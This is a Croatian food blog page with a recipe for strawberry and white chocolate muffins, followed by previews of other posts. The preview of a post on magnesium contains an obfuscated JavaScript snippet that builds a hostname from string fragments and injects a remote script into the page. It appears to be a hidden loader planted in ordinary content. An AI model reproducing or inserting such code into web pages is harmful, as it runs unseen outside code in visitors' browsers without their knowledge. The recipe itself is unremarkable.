MUFFINI OD JAGODA I BIJELE ČOKOLADE 🍫 🍓





Muffini od jagoda i bijele čokolade 



Proljeće je vrijeme kada jagode počinju biti svježe, sočne i punog okusa. Svježe jagode donose prirodnu slatkoću i sočnost koja je savršena za lagane proljetne poslastice. Muffini s jagodama i bijelom čokoladom su jednostavni za pripremu, praktični za prenošenje i savršeni za dijeljenje s prijateljima i obitelji. Savršeni su za doručak, užinu ili za desert.




Muffini od jagoda i bijele čokolade 


Sastojci:

  • 115 g maslaca, otopljenog
  • 200 g granuliranog šećera
  • 2 žličice praška za pecivo
  • 1/2 žličice sode bikarbone
  • Prstohvat soli
  • 1 žlica paste od mahune vanilije ili ekstrakta vanilije
  • 315 g brašna
  • 2 jaja sobne temperature
  • 120 g komadića bijele čokolade + još za posipanje po vrhu
  • 250 ml punomasnog mlijeka + 1 žlica octa, sobne temperature
  • 65 g grčkog jogurta ili kiselog vrhnja, sobne temp
  • 2 žlice ulja
  • 1 šalica svježih jagoda, narezanih na male komadiće



Priprema: 

  • Zagrijte pećnicu na 220°C. Pripremite kalup za pečenje tako da ga obložite ili namastite.
  • U čaši pomiješajte mlijeko i ocat. Ostavite da odstoji 10 minuta ili dok se ne zgruša.
  • U zdjeli za miješanje pjenasto izmiješajte otopljeni maslac i šećer dok se dobro ne sjedine.
  • Dodajte jaja i miksajte 2-3 minute ili dok ne poprime blijedu boju.
  • Dodajte mliječnu smjesu, ekstrakt vanilije, grčki jogurt i ulje. Miješajte dok se dobro ne sjedini.
  • U posebnoj zdjeli pomiješajte suhe sastojke: brašno, prašak za pecivo, sodu bikarbonu, sol i komadiće bijele čokolade.
  • Ulijte mokru smjesu u suhe sastojke i miješajte dok se ne sjedine. Dodajte jagode i promiješajte. Ostavite tijesto 45 minuta na sobnoj temperaturi. Nemojte ponovno miješati tijesto.
  • Tijesto ravnomjerno rasporedite u obložene kalupe za muffine. Po želji ukrasite svježim jagodama i čokoladom.
  • Pecite 5 minuta, zatim smanjite temperaturu pećnice na 190°C bez otvaranja vrata pećnice. Nastavite peći još 13-15 minuta ili dok čačkalica zabodena u sredinu ne izađe čista.
  • Ostavite muffine da se ohlade u kalupu 5 minuta prije nego ih prebacite na rešetku da se potpuno ohlade.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više